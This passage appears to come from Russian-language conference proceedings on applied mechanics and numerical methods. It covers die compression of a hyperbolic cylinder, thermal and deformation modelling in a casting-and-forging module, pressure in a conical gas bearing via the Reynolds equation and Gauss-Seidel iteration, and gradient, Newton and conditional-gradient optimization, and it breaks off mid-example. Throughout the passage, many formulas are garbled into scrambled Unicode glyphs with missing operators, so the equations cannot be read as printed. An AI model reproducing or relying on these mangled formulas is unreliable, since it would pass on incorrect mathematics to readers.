ೣ

ටೣ
మశమ

ሺ௨ାଵሻ

, (5) 

где 𝐴 ൌ 𝑤 െ
ሺ௭ାଵሻቀ௪ሺఛಲሻି௫ᇲ

ሺఛಲሻቁ

௭ሺఛಲሻି௬ᇲ
ሺఛಲሻ

, 𝑥ᇱ
ሺ𝜏ሻ ൌ ିሺ௨ାଵሻඥ௫ሺ௧భሻమାଶ

௩ඥ௫ሺ௧భሻమାଶିሺ௨ାଵሻ௫ሺ௧భሻ
, 𝑦ᇱ

ሺ𝜏ሻ ൌ െ1, 𝑢 ൌ

√2 cos 𝜂 cos ቀଷగ

ସ
െ 𝜂 െ 𝜓ቁ, 𝑣 ൌ √2 𝑐𝑜𝑠 𝜂 𝑠𝑖𝑛 ቀଷగ

ସ
െ 𝜂 െ 𝜓ቁ, 𝑤 ൌ ଵ

ୡ୭ୱ ఎ
𝑐𝑜𝑠 ቀ𝜂  𝜓 െ గ

ଶ
ቁ, 

𝑧 ൌ ଵ

ୡ୭ୱ ఎ
𝑠𝑖𝑛 ቀ𝜂  𝜓 െ గ

ଶ
ቁ. 

 Уравнение (5) решено методом Адамса, график найденной функции 𝜓 представ-
лен на рисунке 2. 

 
Рисунок 2 – График изменения угла раскрытия веера 𝜓ሺ𝑡ሻ 

Уравнения деформированной поверхности задаются в виде: 

 𝑥ሺ𝑡, 𝜏ሻ ൌ ଵ

ୡ୭ୱ ఎ
 𝑐𝑜𝑠 ቀ𝜂  𝜓 െ గ

ଶ
ቁ

௧
ఛಲ

𝑑𝑡  𝑥Сሺ𝜏ሻ, (6) 

 𝑦ሺ𝑡, 𝜏ሻ ൌ ଵ

ୡ୭ୱ ఎ
 𝑠𝑖𝑛 ቀ𝜂  𝜓 െ గ

ଶ
ቁ

௧
ఛಲ

𝑑𝑡  𝑦ሺ𝜏ሻ. 
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Рисунок 3 – Пластическая область и деформированная поверхность 

На рисунке 3 приведены пластическая область (пунктирная линия) и деформи-
рованная поверхность материала в момент времени 𝑡ଶ ൌ 0.01. Решение для больших 
значений 𝑡 может быть получено аналогично. 

Усилие, необходимое для вдавливания штампа вычисляется по формуле: 
 𝑝 ൌ 4𝑘𝑥ሺ1  𝜓ሻ. (7) 

График зависимости удельного усилия (


ଶ
) от времени приведён на рисунке 4. 

 
Рисунок 4 – График изменения удельного усилия, необходимого для сжатия 

гиперболического цилиндра плоским штампом 
Результатом работы является численное решение задачи о сжатии выпуклого те-

ла, имеющего форму гиперболического цилиндра, плоским штампом с учётом коэффи-
циента трения по схеме Хилла. Задача решена для недеформированной поверхности, 
задаваемой уравнением  𝑦 ൌ √2 െ √𝑥ଶ  2 и коэффициента трения 𝜇 ൌ 0.12. Построе-
ны графики зависимости изменения угла раскрытия веера 𝜓 и удельного усилия, необ-
ходимого для вдавливания клина (



ଶ
) от времени; также построены пластическая об-

ласть и деформированная поверхность в момент времени 𝑡ଶ ൌ 0.01. Решение задачи 
осуществлялось в два этапа. На первом этапе от 𝑡 ൌ 0 до 𝑡ଵ ൌ 0.00143 полагается, что 
𝜓 ൌ 𝜓; на втором этапе угол 𝜓 монотонно уменьшается до 0. При  𝜓 ൌ 0 возможно 
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дальнейшее построение решения, как частного случая задачи о вдавливании клина с 
углом раствора 

గ

ଶ
. 
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МОДЕЛИРОВАНИЕ ТЕПЛОВЫХ И ДЕФОРМАЦИОННЫХ ПРОЦЕССОВ  
ПРИ ИЗГОТОВЛЕНИИ ПРОТЯЖЕННОЙ ЗАГОТОВКИ 
 
MODELING OF THERMAL AND DEFORMATION PROCESSES  
IN THE MANUFACTURING OF AN EXTENDED BLANK 

 
Аннотация. В работе представлена новая кинематическая схема работы литейно-
ковочного модуля – устройства, объединяющего процессы кристаллизации расплава 
металла и его дальнейшего деформирования в заготовку за счет подвижных стенок 
кристаллизатора. Сформулирована математическая модель среды и граничные условия, 
соответствующие рассматриваемой кинематической схеме. Предложена методика чис-
ленного решения задачи деформирования металла с учетом зависимости его механиче-
ских свойств от температуры. Описаны результаты численных экспериментов по изго-
товлению полосы из алюминиевого сплава АД0, получены распределения полей темпе-
ратуры и напряженно-деформированного состояния. 
Abstract. The paper presents a new kinematic scheme of the casting and forging module oper-
ation – a device that combines the processes of metal melt crystallization and its subsequent 
deformation into a workpiece due to the moving walls of the crystallizer. A mathematical 
model of the medium and boundary conditions corresponding to the kinematic scheme under 
consideration are formulated. A method for numerically solving the problem of metal defor-
mation is proposed, taking into account the dependence of its mechanical properties on tem-
perature. The results of numerical experiments on the production of a strip of aluminum alloy 
AD0 are described, and the distributions of temperature fields and the stress-strain state are 
obtained. 
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Ключевые слова: напряжения, деформации, термовязкопластичность, математическое 
моделирование, литейно-ковочный модуль. 
Keywords: stresses, deformations, thermoviscoplasticity, mathematical modeling, casting and 
forging module. 

 
Литейно-ковочный модуль (ЛКМ) представляет собой кристаллизатор с по-

движными стенками, совмещая, таким образом, в своей работе процесс кристаллизации 
расплава металла и его дальнейшее деформирование в заданный протяженный про-
филь. Начало изучению таких процессов в России положил патент В.И. Одинокова [1], 
который стал отправной точкой для проведения последующих исследований и разра-
ботки новых технологических решений. В рамках данной работы были выполнены тео-
ретические исследования деформирования алюминиевого сплава АД0 на ЛКМ новой 
конструкции [2] с измененной кинематической схемой движения бойков. 

Принцип работы литейно-ковочного модуля 
Расплавленный металла поступает (рисунок 1) из ковша 1 через погружной ста-

кан 2 в кристаллизатор, который состоит из подвижного бокового бойка 3 с наклонным 
участком, а также неподвижной шероховатой плиты 4 и пары вертикальных подвиж-
ных стенок 5, осуществляющих возвратно-поступательное движение.  

 
1 – разливочный ковш; 2 – погружной стакан; 3 – вертикальный боек с наклон-

ной поверхностью; 4 – неподвижная водоохлаждаемая шероховатая плита; 
5 – вертикальные стенки; 6 – приводные эксцентриковые валы. 

Рисунок 1 – Схема конструкции ЛКМВ нового типа 
Боковой боек 3, плита 4 и стенки 5 являются водоохлаждаемыми. Подвижные 

элементы кристаллизатора приводятся в движение от приводных эксцентриковых валов 
6. Металл, деформируясь бойком 3, скользит по вертикальной шероховатой плите 4, и 
готовый профиль подается вниз. 

Математическая модель и расчетная схема 
Система модельных соотношений квазистатического деформирования термовяз-

копластического материала в эйлеровых координатах имеет вид (по повторяющимся 
латинским индексам i, j, k осуществляется суммирование) 

 



511 

1/2
, , ,

* *

0, 0,5(v v ), 0, ( , , ), (2 ) ,

1,  , 1
, , div( grad ), 2 .

0,  ; 3

ij j ij i j j i ii ij ij

ij ij kk ij ij

T T H H

i jT
c

i jH

            

 
                

 (1) 

В соотношениях (1) ij  и ij  – компоненты тензоров напряжений и скоростей 

деформаций, vi  – компоненты вектора скорости,   – температура, T и H – интенсивно-

сти касательных напряжений и сдвиговых деформаций, c, ρ и λ – теплоёмкость, плот-
ность и теплопроводность материала, τ – время, ij  – символ Кронекера. В области 

жидкого металла последнее соотношение в (1) заменяется на выражение 
1

2
3ij kk ij ij      , 

где коэффициент µ, стоящий в правой части, является коэффициентом вязкости распла-
ва, если рассматривать его как ньютоновскую жидкость. Состояние металла (жидкая 
или твердая фаза) определяется согласно температуре кристаллизации расплава метал-
ла. В модельных соотношениях (1) в связи с незначительностью выделением теплоты 
вследствие необратимого деформирования пренебрегаем. 

На рисунке 2 приведена схема деформирования материала между подвижным и 
неподвижным бойками при работе устройства. Учитывается, что плоскость x3 является 
плоскостью симметрии. На поверхностях контакта заготовки с инструментом учиты-
ваются трение и теплоотвод. 

 
Рисунок 2 – Расчетная схема процесса деформирования заготовки 

Вычислительные эксперименты 
Решение задачи строится в два этапа: 1) сначала решается задача о распределе-

нии поля температур на текущем временном шаге с учетом заданных начальных и гра-
ничных условий; 2)  затем находится решение задачи об определении полей напряже-
ний и деформаций на основе найденного на предыдущем шаге распределения темпера-
тур. Решение осуществлялось с помощью численного метода [3, 4] для следующих па-
раметров (рисунок 2): l1 = 45 мм, e2 = 10 мм, l2 = 60 мм, R1 = 50 мм, 2b = 64 мм, 
h1 = 8 мм, e1 = 3 мм, h0 = 32 мм, n = 100 об/мин – частота оборотов приводных валов. 

Физические характеристики сплава АД0: 310с   Дж/(кгꞏК), 
20.49 0.00046 0.00026       Вт/(мꞏК), пл 750 С   , кр 680 С   , 32, 7 10    кг/м3. 

На рисунках 3 и 4 показаны некоторые результаты решения для угла поворота 
приводного эксцентрикового вала α = 90 °. 
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а) б) 
  

Рисунок 3 – Распределение полей температуры (а) 
и скоростей деформаций (б) в плоскости x3 = 0 

 

 

а) б) 
  

в) г) 
  

Рисунок 4 – Распределение полей напряжений (а, б, в) 
и степени деформации (г) в деформируемой заготовке 

Как следует из рисунков 3 и 4, в деформируемой области происходит увеличе-
ние по абсолютному значению сжимающих напряжений в наклонной зоне, на калиб-
рующей участке всестороннее сжатие начинает уменьшаться. 

Результаты расчетов демонстрируют возникновение в области деформирования 
заготовки состояния всестороннего сжатия, что в совокупности с воздействием каса-
тельных напряжений должно приводить к залечиванию дефектов в материале заготов-
ки. Следовательно, рассмотренная конструкция обеспечивает эффективность обработки 
металла и положительно влияет на свойства изготавливаемых изделий.  
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ЧИСЛЕННОЕ МОДЕЛИРОВАНИЕ РАСПРЕДЕЛЕНИЯ ДАВЛЕНИЯ  
В КОНУСНОМ ПОДШИПНИКЕ С УЧЁТОМ ГЕОМЕТРИИ ПОВЕРХНОСТИ 
 
NUMERICAL SIMULATION OF PRESSURE DISTRIBUTION  
IN A CONE BEARING TAKING INTO ACCOUNT SURFACE GEOMETRY 

 
Аннотация. В данной работе рассматривается численное моделирование распределения 
давления в конусном подшипнике. Актуальность работы определена в получении точ-
ности при расчетах численного моделирования распределения давления в газовом слое 
конического подшипника с акцентом на геометрию поверхности. Целью работы явля-
ется создание поэтапного алгоритма для построения точного численного метода расчё-
та давления. В работе рассматривается модифицированное уравнение Рейнольдса с 
учетом геометрии конуса, которое выведено в безмерную форму для дальнейших рас-
четов. Принцип аппроксимация методом конечных разностей. Итерационный процесс 
метода Гаусса-Зейделя. Модифицированная билинейная интерполяция с учётом кри-
визны конуса и методы для коррекции и сходимости результатов.  
Abstract. In this paper, a numerical simulation of the pressure distribution in a cone bearing is 
considered. The relevance of the work is determined in obtaining accuracy in calculations of 
numerical modeling of pressure distribution in the gas layer of a conical bearing with an em-
phasis on surface geometry. The purpose of the work is to create a step-by-step algorithm for 
constructing an accurate numerical method for calculating pressure. The paper considers a 
modified Reynolds equation, taking into account the geometry of the cone, which is derived 
in an immeasurable form for further calculations. The principle of approximation by the finite 
difference method. The iterative process of the Gauss-Seidel method. Modified bilinear inter-
polation taking into account the curvature of the cone and methods for correction and conver-
gence of the results. 
Ключевые слова: Газостатический подшипник, численное моделирование, билинейная 
интерполяция, уравнение Рейнольдса. 
Keywords: Gas-static bearing, numerical modeling, bilinear interpolation, Reynolds equation. 

 
Газостатические подшипники, использующие в своей работе подачу газа под 

давлением в зазоре между несущими поверхностями, в своей эффективности преобла-
дают над традиционными подшипниками скольжения и качения. Самом главным пре-
имуществом является отсутствие прямого контакта между телами и минимальный из-
нос, что в свою очередь делает эти конструкции высокоточными, особенно при работе 
на больших скоростях. Математическое описание процессов в газовом слое основыва-
ется на уравнении Рейнольдса, которое напрямую описывает принципы распределения 
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давления в газовом слое между двумя поверхностями. Однако геометрия подшипника, 
рассматриваемая в статье, является конусной, это затрудняет расчеты и требует исполь-
зования численного метода.  

Преобразованное уравнение Рейнольдса в безмерную форму позволяет упро-
стить расчёты и сделать их универсальными для различных типов подшипников. Для 
получения численного решения используется метод конечных разностей, который поз-
воляет аппроксимировать дифференциальные операторы на регулярной сетке, а также 
итерационный метод Гаусса-Зейделя для решения полученной системы линейных 
уравнений. В процессе расчетов возникают сложности в решении связанные с кривиз-
ной поверхности, поэтому на таких участках необходимо использовать билинейную 
интерполяцию с учетом поверхности конуса. Адаптацию перехода из билинейной ин-
терполяции к методу конечных разностей обеспечивает критерий сходимости результа-
тов. 

Формула уравнения Рейнольдса с учётом геометрии конуса: 
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(1) 

Переход к безразмерной форме. 
Перевод уравнения Рейнольдса в безразмерный вид упрощает его решение, де-

лает результаты универсальными и независимыми от конкретных физических величин. 
Чтобы привести уравнение Рейнольдса к безразмерному виду, введём следую-

щие безразмерные параметры: 
1. Преобразуем производные в безмерный вид. 
2. Подставим безразмерные переменные в уравнение. 
Что в конечном итоге преобразуется в окончательную безразмерную форму 

уравнения Рейнольдса для конусного подшипника: 
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(2) 

Аппроксимация методом конечных разностей. 
Безразмерные производные по радиусу и углу необходимо аппроксимировать с 

помощью конечных разностей, чтобы перевести дифференциальные уравнения в си-
стему линейных уравнений, которые можно решить численно. 

1. Первая производная по радиусу: 
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�̅�ଶ�̅�
𝜕�̅�ଶ ൎ

�̅�ାଵ, െ 2�̅�,  �̅�ିଵ,

∆𝑟ଶതതത  (4) 

 
 
 
 
3. Первая производная по углу: 

𝜕�̅�
𝜕𝜑ത

ൎ
�̅�,ାଵ െ �̅�,ିଵ

2∆𝜑ത
 

(5) 
4. Вторая производная по углу:  
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�̅�ଶ�̅�
𝜕𝜑തଶ ൎ

�̅�,ାଵ െ 2�̅�,  �̅�,ିଵ

∆𝜑ଶതതതത  (6) 

После подстановки аппроксимаций уравнение Рейнольдса принимает следую-
щий вид: 

 

�̅� 𝑠𝑖𝑛 𝜑ത ∗
ℎതାଵ,

ଷ �̅�ାଵ, െ �̅�,
∆�̅� െ ℎതିଵ,

ଷ �̅�, െ �̅�ିଵ,
∆�̅�

∆�̅�


1

𝑠𝑖𝑛ଶ�̅�

ℎത,ାଵ
ଷ �̅�,ାଵ െ �̅�,

∆𝜑ത െ ℎത,ିଵ
ଷ �̅�, െ �̅�,ିଵ

∆𝜑ത
∆𝜑ത

12𝐾
൫�̅�௦

ଶ െ �̅�,
ଶ ൯

𝛿ଶ 𝑓

 12𝑉 ∗ 𝑐𝑜𝑠𝜑ത ∗∗ 𝑠𝑖𝑛�̅�
�̅�ାଵ,ℎതାଵ,

ଷ െ �̅�ିଵ,ℎതିଵ,
ଷ

2∆�̅�
 


𝑠𝑖𝑛𝜑ത

�̅� ∗ 𝑠𝑖𝑛�̅�
 
�̅�,ାଵℎത,ାଵ

ଷ െ �̅�,ିଵℎത,ିଵ
ଷ

2∆𝜑ത
 

(7)

Метод Гаусса-Зейделя: 
𝐴,𝑝ିଵ,  𝐵,𝑝,ିଵ  𝐶,𝑝,  𝐷,𝑝,ାଵ  𝐸,𝑝ାଵ, ൌ 𝐹,          (8) 

где коэффициенты 𝐴,,  𝐵,, 𝐶,, 𝐷, , 𝐸, определяются как: 

𝐴, ൌ
ℎതଷ

𝜇�̅� sin 𝜑ത ሺ∆�̅�ሻଶ 

 𝐵, ൌ
ℎതଷ

𝜇 sinଶ �̅� ሺ∆𝜑തሻଶ
 

𝐶, ൌ െ2 ሺ
ℎതଷ

𝜇�̅� sin 𝜑ത ሺ∆�̅�ሻଶ 
ℎതଷ

𝜇 sinଶ �̅� ሺ∆𝜑തሻଶ
ሻ 

𝐷, ൌ
ℎതଷ

𝜇 sinଶ �̅� ሺ∆𝜑തሻଶ
 

𝐸, ൌ
ℎതଷ

𝜇�̅� sin 𝜑ത ሺ∆�̅�ሻଶ 

(
(9)

Правая часть: 

𝐹, ൌ 12𝐾
൫�̅�௦

ଶ െ �̅�,
ଶ ൯

𝛿ଶ 𝑓  12𝑉 ∗ 𝑐𝑜𝑠𝜑ത ∗ 𝑠𝑖𝑛�̅�
�̅�ାଵ,ℎതାଵ,

ଷ െ �̅�ିଵ,ℎതିଵ,
ଷ

2∆�̅�
 


𝑠𝑖𝑛𝜑ത

�̅� ∗ 𝑠𝑖𝑛�̅�
 
�̅�,ାଵℎത,ାଵ

ଷ െ �̅�,ିଵℎത,ିଵ
ଷ

2∆𝜑ത
 

(
(10)

Итерационный процесс метода Гаусса-Зейделя 

1) Задаем начальное приближенное значение �̅�,
ሺሻ ൌ �̅�௦ 

2) Рассчитываем �̅�,
ሺାଵሻ ൌ

ி,ೕିሺ,ೕ̅షభ,ೕ
ሺశభሻା ,ೕ̅,ೕషభ

ሺశభሻା,ೕ̅,ೕశభ
ሺሻ ାா,ೕ̅శభ,ೕ

ሺሻ

,ೕ
 

3) Проверяем критерий сходимости 
̅,ೕ

ሺశభሻି̅,ೕ
ሺሻ

ቚ̅,ೕ
ሺሻቚ

൏∈ 

Метод билинейной интерполяции с учетом кривизны 

�̅�ሺ�̅�, 𝜑തሻ ൎ
ሺ�̅�ାଵ െ �̅� ሻሺ𝜑തାଵ െ 𝜑ത ሻ�̅�,  ሺ�̅� െ �̅�పഥሻ൫𝜑തାଵ െ 𝜑ത൯�̅�ାଵ, 

ሺ�̅�ାଵ െ �̅�పഥ ሻ
 

ሺ�̅�ାଵ െ �̅� ሻ൫𝜑ത െ 𝜑ത൯�̅�,ାଵ  ሺ�̅� െ �̅�పഥሻ൫𝜑ത െ 𝜑ത൯�̅�ାଵ,ାଵ

ሺ𝜑തାଵ െ 𝜑ത ሻ
 

(11) 
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Модифицированная билинейная интерполяция с учётом кривизны конуса 
Поскольку наша задача решается в полярных координатах, необходимо стан-

дартную билинейную интерполяцию скорректировать для учёта геометрии конуса. 
Коррекция по геометрии конуса 
Как и в уравнении Рейнольдса воспользуемся коррекцией по геометрии конуса: 

∆𝑟 → ∆𝑟 ∗ 𝑠𝑖𝑛 𝜑            (12)  
С учётом геометрии конуса шаг по радиусу корректируется на 𝑠𝑖𝑛 𝜑. Поэтому 

формула становится: 
�̅�ሺ�̅�, 𝜑തሻ ൎ

ൎ
ሺ�̅�ାଵ 𝑠𝑖𝑛 𝜑 െ �̅� 𝑠𝑖𝑛 𝜑 ሻሺ𝜑തାଵ െ 𝜑ത ሻ�̅�,  ሺ�̅�𝑠𝑖𝑛 𝜑 െ �̅�పഥ 𝑠𝑖𝑛 𝜑ሻ൫𝜑തାଵ െ 𝜑ത൯�̅�ାଵ, 

ሺ�̅�ାଵ 𝑠𝑖𝑛 𝜑 െ �̅�పഥ 𝑠𝑖𝑛 𝜑ሻ
 

ሺ�̅�ାଵ𝑠𝑖𝑛 𝜑 െ �̅� 𝑠𝑖𝑛 𝜑 ሻ൫𝜑ത െ 𝜑ത൯�̅�,ାଵ  ሺ�̅�𝑠𝑖𝑛 𝜑 െ �̅�పഥ 𝑠𝑖𝑛 𝜑ሻ൫𝜑ത െ 𝜑ത൯�̅�ାଵ,ାଵ

ሺ𝜑തାଵ െ 𝜑ത ሻ
 

(13) 

Корректировки значений на границе 
Иногда значения давления на границе требуют коррекции из-за ошибок интер-

поляции. Для этого используется простая формула коррекции: 
𝑝граница ൌ �̅�ሺ𝑟, 𝜑ሻ      (14) 

Критерий сходимости. 
После интерполяции и пересчёта давления проверяем критерий сходимости:  

�̅�,
ሺାଵሻ െ �̅�,

ሺሻ

ቚ�̅�,
ሺሻቚ

൏∈. (
(15) 

Если критерий выполнен — метод завершён, иначе продолжаем итерации. 
В данной статье было выполнено исследование, результатом которого был 

разработан численный алгоритм расчёта распределения давления в газовом слое 
конического подшипника на основе безразмерной формы уравнения Рейнольдса. 
Использовался метод конечных разностей вместе с итерационным методом Гаусса-
Зейделя, а Реализация билинейной интерполяции с учётом кривизны поверхности 
повысила точность определения значений давления в промежуточных точках сетки. 

Таким образом, представленный подход может быть использован для оптимиза-
ции конструкций газостатических подшипников и адаптирован для других типов си-
стем требующих численного моделирования распределения давления. 
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ПРИМЕНЕНИЕ ЧИСЛЕННЫХ МЕТОДОВ ДЛЯ НАХОЖДЕНИЯ 
ОПТИМАЛЬНОГО РЕШЕНИЯ ЗАДАЧ ОПТИМИЗАЦИИ 
 
APPLICATION OF NUMERICAL METHODS TO FIND OPTIMAL SOLUTIONS  
TO OPTIMIZATION PROBLEMS 
 
В данной статье будут рассмотрены проблемы методов оптимизации, при которых по 
тем или иным причинам невозможно использовать аналитические способы решения. 
Мы подробно рассмотрим самые основные численные методы поиска экстремума, а 
именно наиболее распространенный метод градиента и его вариации. Разберем приме-
нение этих методов на реальных примерах. 
This article will address the problems of optimization methods in which, for one reason or 
another, it is impossible to use analytical solutions. We will take a detailed look at the most 
basic numerical methods for finding the extremum, namely the most common gradient meth-
od and its variations. Let's analyze the application of these methods using real examples. 
Ключевые слова: градиент, метод Ньютона, поиск оптимального решения 
Key words: gradient, Newton's method, optimal solution search 
 

В современном мире большое значение играет математическое моделирование. 
При проектировании разных систем обычно ставится задача оптимизации или поиска 
наилучших параметров тех или иных объектов [1]-[4]. Например, в оптике используют-
ся параболические поверхности для поиска оптимального отражения пучка света. Так-
же это можно использовать при проектировании крыла самолета, расчета траектории 
движения в космосе, строительстве спутниковых антенн. Каждый случай по-своему 
уникален и напрямую зависит от поставленной задачи и накладываемых на проект 
ограничений. Зачастую при постановке задачи с одной единственной переменной её 
можно решить аналитическим способом, не прибегая к сложным и утомительным рас-
четам. Но что делать, если в нашем уравнении не одна, а две, три и более переменных? 
Вот тут нам на помощь приходят численные методы поиска оптимального решения. 
Данный способ зачастую бывает довольно трудоемким. Для его применения потребу-
ются вычислительные мощности, но с нынешним развитием компьютерной техники эта 
проблема становится не такой уж и серьезной, и получает все большее распространение 
среди инженеров и конструкторов. Так что же это такое, численные методы поиска оп-
тимального решения? 

Метод градиента 
Метод градиента — это итерационный численный метод, который позволяет 

определить экстремум целевой функции. Также он еще называется методом наиско-
рейшего спуска. В данном методе используется вектор первых производных целевой 
функции. Алгоритм метода заключается в следующем: 

1) Вычисляют вектор градиента на основе первых частных производных целе-
вой функции.  

2) Затем вычисляют новое значение переменных, основываясь на предыдущих 
значениях.  

 𝑋୩ାଵ ൌ 𝑋୩ െ 𝛼𝑓ᇱሺ𝑋୩ሻ. (1) 
3) Вычисляют новое значение переменных. 
4) Повторяют итерационный цикл. 
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Цикл повторяется до тех пор, пока изменения функции не станут незначитель-
ными, и разница между 𝑋୩ାଵ и 𝑋୩ не будет превышать установленную погрешность. 

Разберем на примере. 
Пусть дана целевая функция 𝑥ଵ

ଶ  𝑥ଶ
ଶ െ 6𝑥ଵ െ 4𝑥ଶ → 𝑚𝑖𝑛. Возьмем за точку от-

счета X0 = (0,0). Найдем первые частные производные: 
𝑓௫ଵ

ᇱ ൌ 2𝑥ଵ െ 6,       𝑓௫ଵ
ᇱ ሺ𝑋ሻ ൌ െ6,   𝑓௫ଶ

ᇱ ൌ 2𝑥ଶ െ 4,       𝑓௫ଶ
ᇱ ሺ𝑋ሻ ൌ െ4. 

Применим формулу (1) и подставим найденные значения. 

𝑋ଵ ൌ ቀ0
0

ቁ െ 𝛼ଵ ቀെ6
െ4

ቁ ൌ ቀ6𝛼
4𝛼

ቁ. 

Теперь необходимо определить коэффициент 𝛼. От этого коэффициента зави-
сит скорость схождения метода и количество требуемых итераций. Зачастую этот ко-
эффициент берется случайным образом в диапазоне 0 ൏ 𝛼 ൏ 1. Но существует и спо-
соб определения точного начального значения 𝛼, чтоб первый шаг был как можно 
ближе к искомой точке. Для этого необходимо подставить в целевую функцию найден-
ные из формулы (1) значения, то есть 6𝛼 и 4𝛼 соответственно: 

maxఈவ 𝑓ሺ𝑥ᇱሻ ൌ maxఈவሺ36𝛼ଶ  16𝛼ଶ െ 36𝛼 െ 16𝛼ሻ. 
Затем необходимо найти частную производную по 𝛼 и, приравняв ее к нулю ре-

шить уравнение: 𝑓ఈ
ᇱ ൌ 104𝛼 െ 52;    104𝛼 െ 52 ൌ 0  ൌ  𝛼 ൌ ହଶ

ଵସ
ൌ 0,5. 

Далее подставляем найденную 𝛼 все в ту же формулу (1) и получаем новые ко-
ординаты точки: 

𝑋ଵ ൌ ቀ0
0

ቁ െ 0,5 ∗ ቀെ6
െ4

ቁ ൌ ቀ3
2

ቁ ൌ   𝑋ଵ ൌ ሺ3,2ሻ. 

Новая точка получена. Повторяем итерационный процесс. 
𝑓௫ଵ

ᇱ ൌ 2𝑥ଵ െ 6,       𝑓௫ଵ
ᇱ ሺ3ሻ ൌ 0,   𝑓௫ଶ

ᇱ ൌ 2𝑥ଶ െ 4 ,      𝑓௫ଶ
ᇱ ሺ2ሻ ൌ 0. 

Снова вычисляем значение производных в новой точке. В нашем случае мы по-
лучили нулевой вектор. Это говорит о том, что точка экстремума найдена. Если же век-
тор будет не нулевым – тогда требуется продолжать итерационный процесс далее.  Ко-
эффициент 𝛼 можно вычислять заново на каждой итерации, но это требует дополни-
тельных затрат вычислительной мощности и не всегда используется. Чаще 𝛼 остается 
неизменной до тех пор, пока не выполнится условие 𝑓ሺ𝑋ାଵሻ  𝑓ሺ𝑋ሻ. При этом 
направление градиента изменится, а коэффициент 𝛼 уменьшают вдвое. Итерационный 
процесс продолжается, пока не будет достигнута заданная погрешность вычисления. 

Метод Ньютона 
Метод Ньютона – это модифицированный метод градиента. Его отличие заклю-

чается в том, что он использует не только первые частные производные, но также и 
матрицу Гессе – квадратную матрицу вторых частных производных целевой функции. 

Алгоритм метода идентичен алгоритму наискорейшего спуска. При квадратич-
ных функциях, в которых вторые производные статичны этот метод дает решение с 
первой же итерации, в остальных случаях он может быть вообще не применим если нет 
начальной точки, приближенной к искомому решению:  

 𝑋୩ାଵ ൌ 𝑋୩ െ 𝛼୩ሺ𝑓′′ሺ𝑋୩ሻሻିଵ𝑓ᇱሺ𝑋୩ሻ. (2) 
Здесь мы рассмотрим упрощенный метод Ньютона, при котором коэффициент 

𝛼୩ берется равным единице. Иными словами, этим коэффициентом можно пренебречь. 
Рассмотрим ту же задачу, ведь нам уже известен ее результат: 

𝑥ଵ
ଶ  𝑥ଶ

ଶ െ 6𝑥ଵ െ 4𝑥ଶ → 𝑚𝑖𝑛. 
Но теперь возьмем иную произвольную стартовую точку. Например, X0 = (4,-3). 
Найдем первые частные производные: 
𝑓௫ଵ

ᇱ ൌ 2𝑥ଵ െ 6,       𝑓௫ଵ
ᇱ ሺ𝑋ሻ ൌ 2,   𝑓௫ଶ

ᇱ ൌ 2𝑥ଶ െ 4, 𝑓௫ଶ
ᇱ ሺ𝑋ሻ ൌ െ10. 

Теперь составим Гессиан целевой функции из ее вторых производных: 
𝑓௫ଵ௫ଵ

ᇱᇱ ሺ𝑋ሻ ൌ 2, 𝑓௫ଵ௫ଶ
ᇱᇱ ሺ𝑋ሻ ൌ 0,  𝑓௫ଶ௫ଵ

ᇱᇱ ሺ𝑋ሻ ൌ 0, 𝑓௫ଶ௫ଶ
ᇱᇱ ሺ𝑋ሻ ൌ 2, 
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Г ൌ ቀ2 0
0 2

ቁ ;   Гିଵ ൌ ଵ

ସ
ቀ2 0

0 2
ቁ. 

Как мы видим, вторые производные данной функции статичны и не зависят от 
переменных. В таком случае метод Ньютона должен дать нам решение с первой же 
итерации. Применим формулу (2): 

𝑋ଵ ൌ ቀ 4
െ3

ቁ െ 1 ∗ ଵ

ସ
ቀ2 0

0 2
ቁ ∗ ቀ 2

െ10
ቁ ൌ ቀ 4 െ 1

െ3  5
ቁ ൌ ቀ3

2
ቁ.  

Как видно из примера решение получено с первой итерации. Таким образом, для 
решения задач оптимизации квадратичных функций n-переменных метод Ньютона дает 
самый быстрый и надежный результат. В остальных случаях порой стоит рассмотреть 
другие методы. 

Метод условного градиента. 
Однако, не всегда задача стоит в нахождении безусловного экстремума функ-

ции. Давайте наложим пару ограничений на нашу задачу: 

 𝑥ଵ
ଶ  𝑥ଶ

ଶ െ 6𝑥ଵ െ 4𝑥ଶ → 𝑚𝑖𝑛, ൜
𝑥ଵ  𝑥ଶ  2,     
𝑥ଵ  0; 𝑥ଶ  0. 

Теперь видно, что наша найденная точка не удовлетворяет заданным условиям. 
Бесспорно, данная точка остается глобальным экстремумом функции, но учитывая 
условие 𝑥ଵ  𝑥ଶ  2, эта точка нам не подходит, ведь она находится за пределами мно-
жества, определенного для решения этой задачи.  

Метод условного градиента заключается в том, чтобы, двигаясь вдоль градиента 
целевой функции, достичь одного из заданных ограничений. Затем направление меня-
ется и в качестве направления поиска берется градиент функции ограничения. Таким 
образом при движении вдоль ограничивающей кривой проверяется значение целевой 
функции и находится ее минимум (или максимум, в зависимости от поставленной зада-
чи). 

Для начала возьмем начальную точку, находящуюся внутри заданного множе-

ства. Например, X0 = (0,5;0,5). Проверим ограничения для этой точки: ൜
0,5  0,5  2,      
0,5  0;  0,5  0. 

Определим значения первых производных в точке X0 = (0,5;0,5): 
𝑓௫ଵ

ᇱ ൌ 2𝑥ଵ െ 6, 𝑓௫ଵ
ᇱ ሺ𝑋ሻ ൌ െ5, 𝑓௫ଶ

ᇱ ൌ 2𝑥ଶ െ 4,       𝑓௫ଶ
ᇱ ሺ𝑋ሻ ൌ െ3, 

выберем коэффициент 𝛼୩ так, чтобы остаться в пределах допустимых ограничений. 

Применим формулу (1): 𝑋ଵ ൌ ቀ
0,5
0,5ቁ െ 𝛼ଵ ቀെ5

െ3
ቁ ൌ ቀ

0,5  5𝛼
0,5  3𝛼ቁ. 

Теперь подставим найденные значения в наши ограничения и выберем мини-
мальное значение. 

𝑥ଵ ൌ 5,5𝛼ଵ,
𝑥ଶ ൌ 3,5𝛼ଵ, ൌ  0,5  5𝛼ଵ  0,5  3𝛼ଵ ൌ 2, ൌ 5𝛼ଵ  3𝛼ଵ ൌ 1 ൌ 

ൌ 8𝛼ଵ ൌ 1 ൌ 𝛼ଵ ൌ 1/8 ൌ 0,125; 
𝑥ଶ ൌ  0,5  3𝛼ଵ ൌ 0 ൌ 3𝛼ଵ ൌ െ0,5 ൌ 𝛼ଶ ൌ െ0,16; 
𝑥ଵ ൌ 0,5  5𝛼ଵ ൌ 0 ൌ 5𝛼ଵ ൌ െ0,5 ൌ 𝛼ଷ ൌ െ0,1; 
Выберем 𝛼ଵпо формуле: 
 𝛼ଵ ൌ minሺ|െ0,16|; |െ0,1|; |0,125|ሻ, (3) 

